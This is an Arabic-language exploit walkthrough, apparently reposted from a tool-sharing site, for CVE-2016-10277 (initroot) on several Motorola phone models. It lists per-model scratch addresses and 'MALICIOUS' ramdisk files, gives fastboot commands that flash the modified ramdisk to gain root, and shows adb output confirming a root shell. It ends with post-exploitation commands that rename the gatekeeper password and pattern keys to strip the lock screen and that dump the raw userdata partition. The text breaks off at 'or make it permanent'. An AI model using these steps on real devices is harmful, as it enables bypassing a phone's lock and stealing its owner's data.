استغلال CVE-2016-10277

مزيد من المعلومات على: https://alephsecurity.com/2017/06/07/initroot-moto/

إذا كنت ترغب فقط في التحقق مما إذا كان جهازك عرضة للثغرة، قد يكون أسرع إذا قمت بوميض ramdisk الأصلي (بدون أي تعديلات). إذا كانت هذه حالتك، ابحث عن initroot-*-STOCK*.cpio.gz.

Motorola XT-1033

• عنوان Scratch: 0x11000000
• المساحة المتروكة: 64MB
• ramdisk المتروك للـ Stockrom: initroot-xt1033-p64-STOCK.cpio.gz
• ramdisk المتروك والمعدل للـ Stockrom: initroot-xt1033-p64-MALICIOUS.cpio.gz

Motorola XT-1040

• عنوان Scratch: 0x11000000
• المساحة المتروكة: 64MB
• ramdisk المتروك للـ Stockrom: initroot-xt1040-p64-STOCK.cpio.gz
• ramdisk المتروك والمعدل للـ Stockrom: initroot-xt1040-p64-MALICIOUS.cpio.gz

Motorola XT-1068

• عنوان Scratch: 0x11000000
• المساحة المتروكة: 64MB
• ramdisk المتروك للـ Stockrom: initroot-xt1068-p64-STOCK.cpio.gz
• ramdisk المتروك والمعدل للـ Stockrom: initroot-xt1068-p64-MALICIOUS.cpio.gz

Motorola XT-1069

• عنوان Scratch: 0x11000000
• المساحة المتروكة: 64MB
• ramdisk المتروك للـ Stockrom: initroot-xt1069-p64-STOCK.cpio.gz
• ramdisk المتروك والمعدل للـ Stockrom: initroot-xt1069-p64-MALICIOUS.cpio.gz

Motorola XT-1078

• عنوان Scratch: 0x11000000
• المساحة المتروكة: 64MB
• ramdisk المتروك للـ Stockrom: initroot-xt1078-p64-STOCK.cpio.gz
• ramdisk المتروك والمعدل للـ Stockrom: initroot-xt1078-p64-MALICIOUS.cpio.gz

Motorola XT-1514

• عنوان Scratch: 0x90000000
• المساحة المتروكة: 64MB
• ramdisk المتروك للـ Stockrom: initroot-xt1514-p64-STOCK.cpio.gz
• ramdisk المتروك والمعدل للـ Stockrom: initroot-xt1514-p64-MALICIOUS.cpio.gz

التشغيل والتحقق من صلاحيات الجذر:

• الوميض وحل مشكلات الإقلاع المتكررة:

  root@kitploit:~

  git clone https://github.com/leosol/initroot.git
  cd xt1040 (أو أي مجلد آخر)
  استخدم ./run-malicious.sh و run-stockramfs.sh و solve-bootloop.sh (في حالة وجود أي حلقة إقلاع)
  أو استخدم الأوامر التالية:
  fastboot flash aleph $FILE_NAME
  fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
  fastboot continue
  #استخدم ما يلي لحل حلقات الإقلاع
  fastboot oem config fsg-id ""
  

• التحقق من صلاحيات الجذر:

  root@kitploit:~

  root@debian-vaio:~/motoramfs/xt1040# adb devices
  List of devices attached
  * daemon not running. starting it now on port 5037 *
  * daemon started successfully *
  T0092020C5	device
  
  root@debian-vaio:~/motoramfs/xt1040# adb shell
  root@peregrine:/ # getenforce
  >Permissive
  

• ماذا يمكنني أن أفعل بالجذر؟

  root@kitploit:~

  #إزالة المصادقة كما أشار @kraftdenker (مُختبر على xt1068)
  mv /data/system/gatekeeper.password.key /data/system/_gatekeeper.password.key
  mv /data/system/gatekeeper.pattern.key /data/system/_gatekeeper.pattern.key
  
  #تفريغ بياناتك
  adb pull /dev/block/platform/msm_sdcc.1/by-name/userdata
  
  #أو اجعلها دائمة